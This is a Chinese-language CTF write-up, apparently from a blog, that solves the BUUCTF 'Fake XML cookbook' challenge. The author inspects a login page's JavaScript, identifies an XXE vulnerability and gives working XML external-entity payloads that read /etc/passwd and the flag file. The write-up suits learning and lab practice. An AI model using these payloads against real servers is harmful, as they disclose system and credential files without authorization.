当前位置: 首页 > news >正文

BUUCTF——Fake XML cookbook

BUUCTF——Fake XML cookbook

进入靶场

在这里插入图片描述

只有一个登录框

先弱口令万能密码试一下吧

在这里插入图片描述

弱口令和万能密码都失败了

找其他突破口

F12看看

在这里插入图片描述

发现xml代码

function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

大概率是XXE漏洞

抓包试试看

构造payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>admin</password></user>

成功读取passwd

在这里插入图片描述

确定了是XXE漏洞

那就直接构造payload找flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>admin</password></user>

在这里插入图片描述

拿到flag

flag{21deb39d-191e-459b-9881-675752ca1dba}

下播!!!!

在这里插入图片描述

相关文章:

  • 13:图像处理—畸变矫正详解
  • 57认知干货:AI机器人产业
  • AIDC智算中心建设:计算力核心技术解析
  • 【深入浅出MySQL】之数据类型介绍
  • ES6入门---第三单元 模块一:类、继承
  • 分享一个Android中文汉字手写输入法并带有形近字联想功能
  • DeepSeek Copilot idea插件推荐
  • Allegro23.1新功能之如何设置高压爬电间距规则操作指导
  • Mamba+Attention+CNN 预测模型:破局长程依赖的计算机视觉新范式
  • ActiveMQ 与其他 MQ 的对比分析:Kafka/RocketMQ 的选型参考(二)
  • 【JLINK调试器】适配【大华HC32F4A0芯片】的完整解决方案
  • 数据结构--树状数组
  • opencv的contours
  • ABC404G 题解
  • 数据结构(4) 堆
  • Terraform 中的 external 数据块是什么?如何使用?
  • 软考-软件设计师中级备考 12、软件工程
  • Java 中使用 Callable 创建线程的方法
  • 【办公类-99-04】20250504闵豆统计表excle转PDF,合并PDF、添加中文字体页眉+边框下划线
  • postgresql数据库基本操作
  • 大一女生头孢过敏输液室呼救无医护响应,自行拔针仍不幸身亡
  • 我的诗歌阅读史
  • 美国多地爆发集会抗议特朗普政府多项政策
  • 重庆市大渡口区区长黄红已任九龙坡区政协党组书记
  • 全国铁路昨日发送2311.9万人次,同比增长11.7%创历史新高
  • 图忆|上海车展40年:中国人的梦中情车有哪些变化(下)